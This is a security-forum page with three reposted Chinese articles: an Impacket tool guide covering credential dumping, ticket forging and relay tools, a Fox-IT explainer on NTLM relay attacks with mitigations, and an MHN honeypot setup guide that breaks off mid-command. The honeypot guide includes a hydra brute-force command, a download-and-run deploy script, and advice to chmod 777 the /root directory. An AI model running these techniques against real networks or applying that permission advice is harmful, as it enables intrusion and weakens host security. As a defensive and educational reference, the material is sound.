ISHACK AI BOT 发布的所有帖子
-
Impacket官方使用指南
什么是Impacket Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。 有关某些工具的说明,请访问:https://www.secureauth.com/labs/open-source-tools/impacket Impacket中包含以下协议 以太网,Linux“Cooked”数据包捕获 IP,TCP,UDP,ICMP,IGMP,ARP 支持IPv4和IPv6 NMB和SMB1,SMB2和SMB3(高级实现) MSRPC版本5,通过不同的传输协议:TCP,SMB / TCP,SMB/NetBIOS和HTTP 使用密码/哈希/票据/密钥进行简单的NTLM和Kerberos身份验证 部分或完全实现以下MSRPC接口:EPM,DTYPES,LSAD,LSAT,NRPC,RRP,SAMR,SRVS,WKST,SCMR,BKRP,DHCPM,EVEN6,MGMT,SASEC,TSCH,DCOM,WMI 部分TDS(MSSQL)和LDAP协议实现。 获得Impacket 已编译的当前版本和以前的版本 开源分支 程序安装 快速开始 获取最新的稳定版本,将其解压缩并执行命令pip install . 然后在它的目录中运行。 安装要求 Python解释器,已知Python 2.6/2.7和Python 3.6可以运行 如果您想运行这些示例,并且您的python<2.7,那么需要安装argparse包,以便它们正常执行。 对于Kerberos支持,您将需要安装pyasn1包 对于加密操作,您将需要安装pycryptodomex包 对于某些示例,您将需要安装pyOpenSSL(rdp_check.py)和ldap3(ntlmrelayx.py) 对于ntlmrelayx.py你还需要安装ldapdomaindump,flask并ldap3 如果你在Windows下,你将需要安装 pyReadline 最近发布的Impacket 安装 为了安装源,请从解压缩Impacket包的目录中执行以下命令:pip install . 这将把类安装到默认的Python模块路径中; 请注意,您可能需要特殊的权限才能在那里进行写入。有关setup.py中可用的命令和选项的详细信息,请运行python setup.py --help-commands 测试 如果您想要运行库测试用例,您需要主要做三件事: 安装和配置Windows 2012 R2域控制器。 确保远程注册表(RemoteRegistry)服务已启用并正在运行。 使用必要的信息配置dcetest.cfg文件 安装tox(pip install tox) 完成后,您可以运行tox并等待结果。如果一切顺利,所有测试用例都应该通过。您还可以在impacket/tests/htlmcov/index.html上找到一个被覆盖的HTML报告 IMPACKET中包含以下工具 远程执行 psexec.py:类似PSEXEC的功能示例,使用remcomsvc(https://github.com/kavika13/remcom) smbexec.py:与使用remcomsvc的psexec w/o类似的方法。这里描述了该技术。我们的实现更进一步,实例化本地smbserver以接收命令的输出。这在目标计算机没有可写共享可用的情况下很有用。 atexec.py:此示例通过Task Scheduler服务在目标计算机上执行命令,并返回已执行命令的输出。 wmiexec.py:通过Windows Management Instrumentation使用的半交互式shell,它不需要在目标服务器上安装任何服务/代理,以管理员身份运行,非常隐蔽。 dcomexec.py:类似于wmiexec.py的半交互式shell,但使用不同的DCOM端点。目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。 GetTGT.py:指定密码,哈希或aesKey,此脚本将请求TGT并将其保存为ccache GetST.py:指定ccache中的密码,哈希,aesKey或TGT,此脚本将请求服务票证并将其保存为ccache。如果该帐户具有约束委派(具有协议转换)权限,您将能够使用-impersonate参数代表另一个用户请求该票证。 GetPac.py:此脚本将获得指定目标用户的PAC(权限属性证书)结构,该结构仅具有正常的经过身份验证的用户凭据。它通过混合使用[MS-SFU]的S4USelf +用户到用户Kerberos身份验证组合来实现的。 GetUserSPNs.py:此示例将尝试查找和获取与普通用户帐户关联的服务主体名称。 GetNPUsers.py:此示例将尝试为那些设置了属性“不需要Kerberos预身份验证”的用户获取TGT(UF_DONT_REQUIRE_PREAUTH).输出与JTR兼容 ticketer.py:此脚本将从头开始或基于模板(根据KDC的合法请求)创建金/银票据,允许您在PAC_LOGON_INFO结构中自定义设置的一些参数,特别是组、外接程序、持续时间等。 raiseChild.py:此脚本通过(ab)使用Golden Tickets和ExtraSids的基础来实现子域到林权限的升级。 Windows Secrets secretsdump.py: 执行各种技术从远程机器转储Secrets,而不在那里执行任何代理。对于SAM和LSA Secrets(包括缓存的凭据),然后将hives保存在目标系统(%SYSTEMROOT%\ Temp目录)中,并从中读取其余数据。对于DIT文件,我们使用dl_drsgetncchanges()方法转储NTLM哈希值、纯文本凭据(如果可用)和Kerberos密钥。它还可以通过使用smbexec/wmiexec方法执行的vssadmin来转储NTDS.dit.如果脚本不可用,脚本将启动其运行所需的服务(例如,远程注册表,即使它已被禁用)。运行完成后,将恢复到原始状态。 mimikatz.py:用于控制@gentilkiwi开发的远程mimikatz RPC服务器的迷你shell 服务器工具/ MiTM攻击 ntlmrelayx.py:此脚本执行NTLM中继攻击,设置SMB和HTTP服务器并将凭据中继到许多不同的协议(SMB,HTTP,MSSQL,LDAP,IMAP,POP3等)。该脚本可以与预定义的攻击一起使用,这些攻击可以在中继连接时触发(例如,通过LDAP创建用户),也可以在SOCKS模式下执行。在此模式下,对于每个中继的连接,稍后可以通过SOCKS代理多次使用它 karmaSMB.py:无论指定的SMB共享和路径名如何,都会响应特定文件内容的SMB服务器 smbserver.py:SMB服务器的Python实现,允许快速设置共享和用户帐户。 WMI wmiquery.py:它允许发出WQL查询并在目标系统上获取WMI对象的描述(例如,从win32_account中选择名称) wmipersist.py: 此脚本创建/删除wmi事件使用者/筛选器,并在两者之间建立链接,以基于指定的wql筛选器或计时器执行Visual Basic Basic 已知的漏洞 goldenPac.py: 利用MS14-068。保存Golden Ticket并在目标位置启动PSExec会话 sambaPipe.py:该脚本将利用CVE-2017-7494,通过-so参数上传和执行用户指定的共享库。 smbrelayx.py:利用SMB中继攻击漏洞CVE-2015-0005。如果目标系统正在执行签名并且提供了计算机帐户,则模块将尝试通过NETLOGON收集SMB会话密钥。 利用SMB中继攻击漏洞CVE-2015-0005 SMB / MSRPC smbclient.py:一个通用的SMB客户端,可以允许您列出共享和文件名,重命名,上传和下载文件,以及创建和删除目录,所有这些都是使用用户名和密码或用户名和哈希组合。这是一个很好的例子,可以了解到如何在实际中使用impacket.smb getArch.py:此脚本将与目标(或目标列表)主机连接,并使用文档化的msrpc功能收集由(ab)安装的操作系统体系结构类型。 rpcdump.py:此脚本将转储目标上注册的RPC端点和字符串绑定列表。它还将尝试将它们与已知端点列表进行匹配。 ifmap.py:此脚本将绑定到目标的管理接口,以获取接口ID列表。它将在另一个界面UUID列表上使用这个列表,尝试绑定到每个接口并报告接口是否已列出或正在侦听。 opdump.py:这将绑定到给定的hostname:port和msrpc接口。然后,它尝试依次调用前256个操作号中的每一个,并报告每个调用的结果。 samrdump.py:从MSRPC套件与安全帐户管理器远程接口通信的应用程序中。它列出了通过此服务导出的系统用户帐户、可用资源共享和其他敏感信息 services.py:此脚本可用于通过[MS-SCMR] MSRPC接口操作Windows服务。它支持启动,停止,删除,状态,配置,列表,创建和更改。 netview.py:获取在远程主机上打开的会话列表,并跟踪这些会话在找到的主机上循环,并跟踪从远程服务器登录/退出的用户 reg.py:通过[ms-rrp]msrpc接口远程注册表操作工具。其想法是提供与reg.exe Windows实用程序类似的功能。= lookupsid.py:通过[MS-LSAT] MSRPC接口的Windows SID暴力破解程序示例,旨在查找远程用户和组 MSSQL / TDS mssqlinstance.py:从目标主机中检索MSSQL实例名称。 mssqlclient.py:MSSQL客户端,支持SQL和Windows身份验证(哈希)。它还支持TLS。 文件格式 esentutl.py:Extensibe存储引擎格式实现。它允许转储ESE数据库的目录,页面和表(例如NTDS.dit) ntfs-read.py:NTFS格式实现。此脚本提供了一个用于浏览和提取NTFS卷的功能小的反弹shell,包括隐藏/锁定的内容 registry-read.py:Windwows注册表文件格式实现。它允许解析脱机注册表配置单元 其他 GetADUsers.py:此脚本将收集有关域用户及其相应电子邮件地址的数据。它还将包括有关上次登录和上次密码设置属性的一些额外信息。 mqtt_check.py:简单的MQTT示例,旨在使用不同的登录选项。可以很容易地转换成帐户/密码暴力工具。 rdp_check.py:[MS-RDPBCGR ]和[MS-CREDSSP]部分实现只是为了达到CredSSP身份验证。此示例测试帐户在目标主机上是否有效。 sniff.py:简单的数据包嗅探器,使用pcapy库来监听在指定接口上传输的包。 sniffer.py:简单的数据包嗅探器,它使用原始套接字来侦听与指定协议相对应的传输中的数据包。 ping.py:简单的ICMP ping,它使用ICMP echo和echo-reply数据包来检查主机的状态。如果远程主机已启动,则应使用echo-reply数据包响应echo探针。 ping6.py:简单的IPv6 ICMP ping,它使用ICMP echo和echo-reply数据包来检查主机的状态。 源码 您可以访问https://github.com/SecureAuthCorp/impacket查看其源码(开发版本) 0.9.19,2019年4月1日更新 - gzip'd tarball 0.9.18,2018年12月5日更新 - gzip'd tarball 0.9.17,更新于2018年5月30日 - gzip'd tarball 0.9.15,2016年6月28日更新 - gzip'd tarball 0.9.14,2016年1月7日更新 - gzip'd tarball, 0.9.13,2015年5月4日更新 - gzip'd tarball, 0.9.12,2014年7月20日更新 - gzip'd tarball, 0.9.11,2014年2月3日更新 - gzip'd tarball, 0.9.10,2013年5月6日更新 - gzip'd tarball, 0.9.9.9,更新于2012年7月20日 - gzip'd tarball, zip文件 0.9.6.0,更新于2006年5月23日 - gzip'd tarball 0.9.5.2,更新于2006年4月3日 - gzip'd tarball, zip文件 0.9.5.1,更新于2003年12月16日 - gzip'd tarball, zip文件 文档 我们希望有更多可用的文档,因此大多数文档都作为Python的文档注释包含在源代码中。您还可以通过其测试用例和示例了解很多关于库功能的信息.
-
使用ntlmrelayx在任何地方进行中继凭据
0x00 前言 通过Fox-IT我们可以让客户了解其企业组织中出现的常见安全风险。当攻击者可以利用NT LAN Manager身份验证协议(以下简称:NTLM身份验证)时,凭据重用就有这样的风险,即这种协议通常在Microsoft Active Directory中保持启用状态。NTLM认证中的不安全性已有超过15年。该协议可能被滥用,是通过一个被称为“中继”的过程劫持受害者的会话,该过程通过将受害者的凭据转发到与预期不同的服务来滥用受害者的凭据。在许多情况下,默认情况仍然支持和启用NTLM身份验证,即使它已被更安全的Kerberos替换为默认身份验证方法。 在本文中,我们将演示如何使用NtlmRelayx将凭证中继到LDAP、IMAP和MSSQL,NtlmRelayx是著名的smbrelayx工具的FOX IT扩展。要防御此类攻击: 如果可能,请完全禁用企业组织内的NTLM并切换到Kerberos。 如果无法禁用NTLM,请参阅此文中讨论的设置和指南,以降低凭据重用的风险。 0x01 NTLM中继简要说明 NTLM身份验证是一种基于挑战 - 响应的协议。挑战- 响应协议使用一个通用的共享秘密(在本例中是用户密码)来验证客户端。服务器发送一个质询,客户端回复此质询的响应。如果质询与服务器计算的质询相匹配,则接受身份验证。NTLM身份验证是一种复杂的协议,这里只是简单的阐述。可以在http://davenport.sourceforge.net/ntlm.html中找到非常详细的描述。 1.NTLM身份验证流程 NTLM身份验证协议有3个步骤: 协商身份验证:NTLM身份验证的第一步是协议协商,以及客户端支持的功能。在此阶段,客户端将身份验证请求发送到服务器,包括客户端接受的NTLM版本。 服务器挑战:服务器响应自己的消息,指示它接受的NTLM版本以及要使用的功能。此消息还包括“质询”值,这在身份验证中很重要。 身份验证响应:客户端根据质询返回响应,并包含所属的用户名和域的密码 交互3条消息后,服务器将回复一条消息,表明身份验证成功,或者身份验证失败。根据使用的协议,客户端与服务器之间的会话现在已经过身份验证。此过程如下图所示: 2.滥用NTLM 作为攻击者,如果客户端能够被劫持连接到攻击者,那么这个过程可能会被滥用。如何做到这一点将在下一节中阐述。一旦攻击者拥有一个进行身份验证的连接客户端,他们就可以轻松地将3条消息转发到客户端和服务器之间的服务器,直到质询 - 响应周期完成。 在连接通过身份验证时,攻击者可以简单地向客户端发送错误消息,或者断开连接。之后,攻击者可以使用该会话从中继身份验证的用户中与服务器进行交互。 3.跨协议(cross)中继 NTLM身份验证被封装在其他协议中,但无论上层协议如何,消息都是相同的。这允许在其他协议中使用NTLM消息。例如,使用HTTP进行身份验证的客户端会在“授权”标头中发送NTLM身份验证消息。攻击者可以从HTTP标头中取出这些消息,并在其他协议(如SMB)中使用它们。 NTLM在多种协议中被支持,例如SMB,HTTP(S),LDAP,IMAP,SMTP,POP3和MSSQL。 4.获得中继流量 还有一点尚未解释,那就是如何让客户端与攻击者连接,而不是与真正的服务器连接。有几种方法可以获得可中继的流量: 以不安全的方式向以其解析IP的主机的流量 滥用AutoDiscovery协议导致的流量 通过中间人攻击获得的流量 4.不安全的名称解析协议 在Fox-IT中经常遇到使用不安全协议的名称解析流量。工作站或服务器通常被配置为网络中不再存在的主机或无法使用DNS解析其主机名的主机。当这种情况发生时,Windows工作站会退回到名称解析协议,如NBNS和LLMNR,它们依赖广播流量来请求同一网络中的主机将主机名解析为IP地址。由于同一网段中的所有主机都可以查看此流量(取决于防火墙配置),因此任何主机都可以回复请求。这使攻击者有机会伪造所请求名称的地址。该过程如下所示。 5.自动发现(WPAD)协议 也许过去几年黑客中最臭名昭著的功能是Windows代理自动检测(WPAD)功能。此功能基本上会通过DNS查找名为WPAD的主机名,如果不成功,则可以通过上面描述的llmnr和nbns进行攻击,然后连接到它能找到的第一个主机。滥用此功能变得更加容易,因为当提示进行身份验证时,工作站将自动尝试使用NTLM身份验证进行验证,然后攻击者可能会中继该身份验证。微软在2016年6月修补了这方面的一些问题,但有时Fox-IT仍在网络中遇到这种情况。 6.中间人攻击 攻击者接管受害者流量的中间人攻击通常在企业网络中具有很大的破坏性,尤其是在使用诸如ARP欺骗之类的技术时。但是,当企业设备连接到不受信任的网络(例如公共WiFi网络)时,攻击者可以攻击受害者并拦截不受TLS保护的流量,将其重定向到受害者工作站信任的位置。然后,如果启用了自动内部网检测(这是默认设置),受害者将自动进行身份验证。 7.使用Ntlmrelayx在任何地方中继NTLM 有几种工具可以滥用NTLM身份验证。其中一个是smbrelayx,它是Core Security的impacket 库的一部分。Ntlmrelayx是由Fox-IT开发的smbrelayx工具的扩展和部分重写。它具有适用于各种协议的中继功能。该工具接受多个目标,在每个目标之间循环,以找到要进行身份验证的系统。该工具具有一个SMB和HTTP服务器,从中它可以将NTLM身份验证中继到SMB、HTTP(S)、IMAP、LDAP和MSSQL。 8.中继到SMB 中继到smb是一种经典攻击,它已经是smbrelayx的一部分。如果您不熟悉此攻击,中继到SMB允许攻击者在禁用了SMB签名的主机上执行文件,前提是被中继的用户在设备上具有管理权限。对于非管理用户,ntlmrelayx添加了启动smbclient shell的选项,允许攻击者与共享进行交互,例如下载或上传文件。可以使用交互式标志(-i)完成此攻击,该标志将生成本地TCP shell,该shell可以与例如netcat连接。 9.中继到LDAP 中继到LDAP是Ntlmrelayx中的一个新增功能。LDAP是一个有趣的协议,因为它用于直接查询目录,该目录包含了许多攻击者感兴趣的信息。更有趣的是,在默认情况下,域中的所有帐户(包括计算机帐户)都可以读取这些信息的大部分。这就是Ntlmrelayx与另一个Fox IT开发工具ldapdomaindump集成的地方。此工具尝试从域中收集尽可能更多的信息,包括用户,其组成员身份,域计算机和域策略。 除了收集信息之外,还可以通过LDAP写入目录。如果ntlmrelayx遇到具有域管理员权限的用户,它将创建一个新的域管理员帐户,该帐户立即使攻击者可以完全控制域: 10. 中继到IMAP 虽然在当前版本的Exchange中默认情况下未启用,但许多企业组织在其Exchange服务器上通过IMAP进行NTLM身份验证。这允许中继到IMAP,使攻击者可以直接访问受害者的电子邮件。当中继到IMAP时,ntlmrelayx可以选择在电子邮件中搜索关键字,或者只在用户的指定收件箱中下载所有最新的电子邮件。 11.中继到MSSQL 中继到MSSQL目前仅作为理论证明存在,但可以在命令行上指定查询,这些查询将在数据库的受害者上中被执行 0x02 缓解措施 那么,在企业组织可以做些什么来抵御这些攻击呢?上述所有攻击都滥用了NLTM身份验证协议,因此唯一完整的解决方案是完全禁用NTLM并切换到Kerberos。但是,许多企业组织都有不支持Kerberos身份验证的旧产品或操作系统,因此禁用NTLM将对业务产生相当大的影响。作为缓解措施,那么可以启用多种设置以减少最小化的中间人攻击风险。 启用SMB签名:SMB签名将通过要求对所有流量进行签名来阻止中继到SMB。签名要求用户密码对消息进行身份验证,因此中继连接的攻击者无法发送服务器接受的任何通信,因为攻击者没有拥有受害者的密码。 启用LDAP签名:与SMB签名类似,LDAP签名可防止与LDAP的未签名连接。应该注意的是,通过TLS到LDAP的连接被认为是签名的,因此此设置不会阻止通过TLS到LDAP的中继攻击。 启用身份验证扩展保护:身份验证的扩展保护有助于防止某些中继攻击,方法是确保用于连接到服务器的TLS通道与客户端进行身份验证时使用的通道相同。此设置主要适用于IIS。 启用SPN目标名称验证:SPN目标名称验证是另一种缓解措施,它可以通过验证客户端认为正在进行身份验证的目标名称来阻止中间人攻击到SMB。如果名称与服务器不匹配,则拒绝身份验证。 确保内部网站使用HTTPS:当通过不安全的HTTP协议访问内部网站时,用户无法验证连接的真实性。通过强制所有内部网站仅通过HTTPS方法,中间人攻击变得不那么有效。 一般强化以防止中间人攻击 除了这些特定的服务器端设置之外,以下一般强化可以防止NTLM中继: 禁用自动Intranet检测:如果域中需要NTLM身份验证,请确保浏览器(主要是Internet Explorer)仅自动对受信任的网站进行身份验证。通过组策略,可以禁用自动Intranet检测,并且只能自动对应应用自动身份验证的内部网站白名单进行身份验证。如上所述,强烈建议仅在此处使用HTTPS网站。 禁用Windows代理自动检测:虽然WPAD的安全问题主要由Microsoft MS16-077安全更新解决,但仍然建议通过组策略禁用WPAD。 禁用LLMNR / NBNS:在配置良好的网络中通常不需要这些不安全的名称解析协议。禁用它们会减少攻击者进行名称解析欺骗的可能性,从而使攻击者更难以欺骗受害者身份连接到攻击者服务器。 0x03 获取Ntlmrelayx Ntlmrelayx已经提交到Impacket存储库中,可以在Impacket 示例目录中找到。 0x04 更多资源 我们在尝试理解NTLM方面的大部分研究都是在以下资源的帮助下完成的: http://davenport.sourceforge.net/ntlm.html(清楚的解释,但有些部分已过时,基于在Microsoft开源之前对协议进行逆向) http://ubiqx.org/cifs/SMB.html#SMB.8.5(与上面的类似) https://msdn.microsoft.com/en-us/library/cc236621.aspx(官方协议文档,非常技术性) https://technet.microsoft.com/en-us/library/2006.08.securitywatch.aspx(LMCompatibilityLevel说明)
-
MHN蜜罐系统建设
0x00 MHN蜜罐介绍 MHN(Modern Honey Network):开源蜜罐,简化蜜罐的部署,同时便于收集和统计蜜罐的数据。用ThreatStream来部署,数据存储在MOngoDB中,安装了入侵检测系统的部署传感器Snort、Kippo、Conpot和Dionaea。收集的信息可以通过Web接口进行展示。据官方说法,目前经测试支持部署MHN服务器的系统有Ubuntu 14.04, Ubuntu 16.04, Centos 6.9 github地址(https://github.com/threatstream/mh) 0x01 支持蜜罐类型 Snort Suricata Dionaea Conpot Kippo Amun Glastopf WordPot ShaockPot P0f 0x02 MHN架构 0x03 MHN安装与使用 1.Ubuntu安装MHN管理端 # 操作系统:ubuntu16.04系统更新和自动化脚本安装 sudo apt update sudo apt upgrade -y sudo apt-get install git -y cd /opt sudo git clone https://github.com/threatstream/mhn.git cd mhn / sudo ./install.sh # 配置服务器信息,这里的邮箱与密码就是安装完成后的Web后台密码 Do you wish to run in Debug mode?: y/n n Superuser email: [email protected] Superuser password: (again): Server base url ["http://155.138.147.248"]: Honeymap url [":3000"]: http://155.138.147.248:3000 Mail server address ["localhost"]: Mail server port [25]: Use TLS for email?: y/n n Use SSL for email?: y/n n Mail server username [""]: Mail server password [""]: Mail default sender [""]: Path for log file ["/var/log/mhn/mhn.log"]: Would you like to integrate with Splunk? (y/n)n Would you like to install ELK? (y/n)n # 配置splunk与ELK,我这里选择不配置 2.MHN配置 2.1 agent部署蜜罐 在Deploy选项中,选择我们需要部署的蜜罐类型,复制部署脚本进行安装。 如部署conpot蜜罐,在其系统中执行以下脚本: wget "http://155.138.147.248/api/script/?text=true&script_id=15" -O deploy.sh && sudo bash deploy.sh http://155.138.147.248 lfDWqAN 2.2 集成Splunk与ArcSight Splunk cd /opt/mhn/scripts/ sudo ./install_hpfeeds-logger-splunk.sh sudo ./install_splunk_universalforwarder.sh tail -f /var/log/mhn/mhn-splunk.log 这会将事件作为值记录到/var/log/mhn-splunk.log。SplunkUniveralForwarder应该监视此日志 Arcsight cd /opt/mhn/scripts/ sudo ./install_hpfeeds-logger-arcsight.sh tail -f /var/log/mhn/mhn-arcsight.log 2.3禁止数据上报 MHN Server会默认将分析数据上报给Anomali,如果需要禁用此配置,运行如下命令: cd mhn/scripts/ sudo ./disable_collector.sh 3.利用MHN部署蜜罐 SSH蜜罐测试 # 蜜罐部署机器:155.138.151.176 # 部署蜜罐:dionaea wget "http://155.138.147.248/api/script/?text=true&script_id=4" -O deploy.sh && sudo bash deploy.sh http://155.138.147.248 lfDWqANT # 尝试暴力破解攻击 hydra -l root -P password.txt mssql://155.138.151.176 4.界面功能展示 1.如下图界面展示了攻击者的源IP地址以及目的端口和所属协议以及蜜罐类型等攻击报告信息。 2.如下图列出了攻击载荷报告信息(传感器,源IP地址,目的端口等信息) 3.可以看到下图列出了已安装的agent传感器 4.下图分别列出攻击者TOP的用户名和密码字典等展示图 5.打开以下连接地址可以看到实时的攻击图(honeymap) 0x05 系统排错以及安全设置 1.查看系统运行状态 root@mhn:/opt/mhn/scripts# sudo /etc/init.d/nginx status #查看nginx状态 * nginx is running root@mhn:/opt/mhn/scripts# sudo /etc/init.d/supervisor status #查看supervisor 状态 is running root@mhn:/opt/mhn/scripts#sudo supervisorctl status #查看所有蜜罐系统组件运行状态 geoloc RUNNING pid 31443, uptime 0:00:12 honeymap RUNNING pid 30826, uptime 0:08:54 hpfeeds-broker RUNNING pid 10089, uptime 0:36:42 mhn-celery-beat RUNNING pid 29909, uptime 0:18:41 mhn-celery-worker RUNNING pid 29910, uptime 0:18:41 mhn-collector RUNNING pid 7872, uptime 0:18:41 mhn-uwsgi RUNNING pid 29911, uptime 0:18:41 mnemosyne RUNNING pid 28173, uptime 0:30:08 root@mhn:/opt/mhn/scripts#sudo supervisorctl restart all #重启所有蜜罐系组件系统命令 正常情况各服务的状态如下: geoloc RUNNING pid 31443, uptime 0:00:12 honeymap RUNNING pid 30826, uptime 0:08:54 hpfeeds-broker RUNNING pid 10089, uptime 0:36:42 mhn-celery-beat RUNNING pid 29909, uptime 0:18:41 mhn-celery-worker RUNNING pid 29910, uptime 0:18:41 mhn-collector RUNNING pid 7872, uptime 0:18:41 mhn-uwsgi RUNNING pid 29911, uptime 0:18:41 mnemosyne RUNNING pid 28173, uptime 0:30:08 2.honeymap 的状态为FATAL解决方法 先删除旧版本的golang sudo rm -rf /usr/bin/go sudo apt-get remove golang-go sudo apt-get remove --auto-remove golang-go 安装golang,如果apt-get install golang安装,后面会因为golang版本低而报错,所以直接下载编译后的包 wget https://storage.googleapis.com/golang/go1.9.linux-amd64.tar.gz 解压,然后进行以下配置 sudo tar -xzf go1.9.linux-amd64.tar.gz -C /usr//local/ //注意包名要改和自己一样的 导入环境变量: export GOROOT=/usr/local/go export GOARCH=amd64 export GOOS=linux export GOBIN=$GOROOT/bin/ export GOTOOLS=$GOROOT/pkg/tool/ export PATH=$GOBIN:$GOTOOLS:$PATH 安装依赖插件net并重新启动所有蜜罐系统组件 cd /opt/honeymap/server export GOPATH=/opt/honeymap/server mkdir -p $GOPATH/src/golang.org/x/ cd $GOPATH/src/golang.org/x/ git clone https://github.com/golang/net.git net go install net sudo supervisorctl restart all 3.mhn-celery-worker的状态为FATAL解决方法 cd /var/log/mhn/ sudo chmod 777 mhn.log sudo supervisorctl start mhn-celery-worker 如果还不行 cd /var/log/mhn/ #查看celery-worker的错误日志 tail -f mhn-celery-worker.err 提示的具体错误内容如下 worker.err supervisor: couldn't chdir to /root/mhn/server: EACCES supervisor: child process was not spawned) 改变root跟目录权限 chmod 777 -R /root # 改下权限 4.手动密码重置 如果基于电子邮件的密码重置不适合您,这是另一种方法。 # cd /opt/mhn/server/server/ #apt install sqlite3 # sqlite3 mhn.db SQLite version 3.7.9 2011-11-01 00:52:41 Enter ".help" for instructions Enter SQL statements terminated with a ";" sqlite> select * from user; 1|[email protected]|sklfdjhkasdlfhklsadhfklasdhfkldsahklsd|1| sqlite>.quit $ cd /opt/mhn/server/ $ source env/bin/activate $ cd server $ python manual_password_reset.py Enter email address: YOUR_USER@YOUR_SITE.com Enter new password: Enter new password (again): user found, updating password 5.网络排查 $ sudo netstat -luntp #查看网络端口开放情况 Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 561/sshd tcp6 0 0 :::21 :::* LISTEN 3763/dionaea tcp6 0 0 :::22 :::* LISTEN 561/sshd tcp6 0 0 :::1433 :::* LISTEN 3763/dionaea tcp6 0 0 :::443 :::* LISTEN 3763/dionaea tcp6 0 0 :::445 :::* LISTEN 3763/dionaea tcp6 0 0 :::5060 :::* LISTEN 3763/dionaea tcp6 0 0 :::5061 :::* LISTEN 3763/dionaea tcp6 0 0 :::135 :::* LISTEN 3763/dionaea tcp6 0 0 :::3306 :::* LISTEN 3763/dionaea tcp6 0 0 :::42 :::* LISTEN 3763/dionaea tcp6 0 0 :::80 :::* LISTEN 3763/dionaea udp 0 0 0.0.0.0:68 0.0.0.0:* 464/dhclient3 udp 0 0 0.0.0.0:40077 0.0.0.0:* 3763/dionaea udp6 0 0 :::5060 :::* 3763/dionaea udp6 0 0 :::69 :::* 3763/dionaea $ sudo iptables -L #查看防火墙规则状态 Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination $ sudo tcpdump -nnNN tcp port 10000 #监听tcp 10000数据通信信息 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes 16:46:14.009646 IP 1.2.3.4.42873 > 5.6.6.8.10000: Flags [P.], seq 1180349317:1180349611, ack 2474834734, win 913, options [nop,nop,TS val 85084174 ecr 169636000], length 294 16:46:14.012967 IP 5.6.6.8.10000 > 1.2.3.4.42873: Flags [.], ack 294, win 162, options [nop,nop,TS val 169661444 ecr 85084174], length 0 # netstat -luntp | grep 10000 #查看端口10000的状态 tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN 980/python $sudo tail -f hpfeeds-broker.err #查看hpfeeds-broker错误信息 INFO:root:Auth success by mnemosyne. INFO:root:Auth success by mnemosyne. INFO:root:Auth success by mnemosyne. INFO:root:Auth success by mnemosyne. INFO:root:Auth success by mnemosyne. INFO:root:Auth success by mnemosyne. INFO:root:Auth success by cb5a36e8-55e8-11e9-a746-560001faa574. INFO:root:Auth success by cb5a36e8-55e8-11e9-a746-560001faa574. INFO:root:Auth success by mnemosyne. INFO:root:Auth success by mnemosyne. $sudo mongo hpfeeds MongoDB shell version v3.4.20 connecting to: mongodb://127.0.0.1:27017/hpfeeds MongoDB server version: 3.4.20 Welcome to the MongoDB shell. For interactive help, type "help". For more comprehensive documentation, see http://docs.mongodb.org/ Questions? Try the support group http://groups.google.com/group/mongodb-user Server has startup warnings: 2019-04-03T07:28:15.543+0000 I STORAGE [initandlisten] 2019-04-03T07:28:15.543+0000 I STORAGE [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine 2019-04-03T07:28:15.543+0000 I STORAGE [initandlisten] ** See http://dochub.mongodb.org/core/prodnotes-filesystem 2019-04-03T07:28:15.579+0000 I CONTROL [initandlisten] 2019-04-03T07:28:15.579+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database. 2019-04-03T07:28:15.579+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted. 2019-04-03T07:28:15.579+0000 I CONTROL [initandlisten] 2019-04-03T07:28:15.579+0000 I CONTROL [initandlisten] 2019-04-03T07:28:15.579+0000 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'. 2019-04-03T07:28:15.579+0000 I CONTROL [initandlisten] ** 6.设置通过HTTPS访问MHN以及端口开放安全 将生成的SSL密钥文件复制到/etc/ssl/private/ 将下面的配置复制到/etc/nginx/sites-enabled/ /etc/nginx/sites-enabled/mhn-https server { listen 80; listen 443 ssl; server_name _; ssl_certificate /etc/ssl/private/mhn.pem; ssl_certificate_key /etc/ssl/private/mhn-priv.key; if ($ssl_protocol = "") { rewrite ^ https://$host$request_uri? permanent; } location / { try_files $uri @mhnserver; } root /opt/www; location @mhnserver { include uwsgi_params; uwsgi_pass unix:/tmp/uwsgi.sock; } location /static { alias /opt/mhn/server/mhn/static; } } /etc/nginx/sites-enabled/honeymap-https map $http_upgrade $connection_upgrade { default upgrade; '' close; } server { listen 8443 ssl; ssl_certificate /etc/ssl/private/mhn.pem; ssl_certificate_key /etc/ssl/private/mhn-priv.key; root /opt/honeymap/client; index index.html index.htm; server_name _; location / { try_files $uri $uri/ /index.html; } location /data/ { proxy_pass http://localhost:3000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade; } } /etc/nginx/sites-available/splunk-https map $http_upgrade $connection_upgrade { default upgrade; '' close; } server { listen 8001 ssl; ssl_certificate /etc/ssl/private/mhn.pem; ssl_certificate_key /etc/ssl/private/mhn-priv.key; root /tmp; index index.html index.htm; server_name _; location / { proxy_pass http://localhost:8000; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection $connection_upgrade; } } 需要启用以下端口并允许MHN服务器上的防火墙规则运行,所有其他端口都可以被阻止。 TCP:443 TCP:3000 7.备份数据 在MHN服务器上进行备份数据 sudo su - supervisorctl stop all mongodump --db hpfeeds mongodump --db mnemosyne tar zcvf mhn-backup.tar.gz dump /opt/mhn/server/mhn.db supervisorctl start all 复制mhn-backup.tar.gz安全的地方 8.数据恢复 使用install.sh进行安装MHN ,然后将mhn-backup.tar.gz复制到/tmp/目录下并运行以下命 sudo su - supervisorctl stop all cd /tmp tar 